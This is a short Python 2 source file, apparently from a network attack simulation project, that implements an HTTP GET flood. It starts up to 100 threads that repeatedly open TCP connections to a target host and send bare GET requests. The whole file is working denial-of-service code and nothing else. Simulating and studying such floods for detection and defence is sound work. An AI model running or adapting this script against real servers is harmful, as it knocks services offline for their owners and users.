Source

imalse / scenario / ddos_flooding / attacks / http_get_flood.py

import socket
from threading import Thread

def auto_send_request(hostname, port=80, num_request=10):
    """
    
    This function is run in a separate thread. It sends http get requests to a
    specific host.
    
    """
    for _ in range(num_request):
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((str(hostname), int(port)))
            sock.send("GET / HTTP/1.1\r\n\r\n")
            sock.close()            
        except socket.error as err:
            print err
                
def start_http_get_flood(hostname, port=80, num_request=1000, num_threads=100):    
    """Start the http get flooding.""" 
    number_of_requests_per_thread = int(num_request/num_threads)
    
    try:
        for _ in range(num_threads):
            flood_thread = Thread( 
                              target=auto_send_request,\
                              args=(hostname, port, number_of_requests_per_thread) 
                              )
            flood_thread.start()
    except (KeyboardInterrupt, SystemExit):
        print "\n! Receive Keyboard interrupt, quitting threads. \n"
        
    print("\nDone %i requests on %s" % (num_request, hostname))